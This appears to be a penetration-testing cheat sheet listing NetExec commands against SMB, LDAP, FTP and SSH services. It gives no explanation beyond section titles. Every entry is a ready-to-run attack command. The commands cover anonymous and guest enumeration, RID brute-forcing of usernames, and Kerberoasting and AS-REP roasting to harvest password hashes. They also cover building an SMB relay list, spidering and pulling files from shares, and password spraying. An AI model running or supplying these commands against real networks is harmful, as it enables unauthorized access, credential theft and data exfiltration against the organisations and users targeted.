Local Authentication

netexec smb target -u username -p password --local-auth

Initial Enum

netexec smb target

Null Authentication

netexec smb target -u '' -p ''

Guest Authentication

netexec smb target -u 'guest' -p ''

List Shares

netexec smb target -u '' -p '' --shares

netexec smb target -u username -p password --shares

List Usernames

netexec smb target -u '' -p '' --users

netexec smb target -u '' -p '' --rid-brute

netexec smb target -u username -p password --users

Kerberos Authentication

netexec smb target -u username -p password -k

Hosts with SMB Signing disabled

netexec smb target(s) --gen-relay-list relay.txt

LDAP User Enumeration

netexec ldap target -u '' -p '' --users

All in one

netexec ldap target -u username -p password --trusted-for-delegation  --password-not-required --admin-count --users --groups

Kerberoast

netexec ldap target -u username -p password --kerberoasting kerb.txt

ASREPRoast

netexec ldap target -u username -p password --asreproast asrep.txt

List files and folders

netexec ftp target -u username -p password --ls

List files inside a folder

netexec ftp target -u username -p password --ls folder_name

Retrieve a specific file

netexec ftp target -u username -p password --ls folder_name --get file_name

All in one

netexec smb target -u username -p password --groups --local-groups --loggedon-users --rid-brute --sessions --users --shares --pass-pol

Spider-Plus Module

netexec smb target -u username -p password -M spider_plus

netexec smb target -u username -p password -M spider_plus -o READ_ONLY=false

Dump a specific file

netexec smb target -u username -p password -k --get-file target_file output_file --share sharename

Password Spray

netexec smb target -u users.txt -p password --continue-on-success

netexec smb target -u usernames.txt -p passwords.txt --no-bruteforce --continue-on-success

netexec ssh target -u username -p password --continue-on-success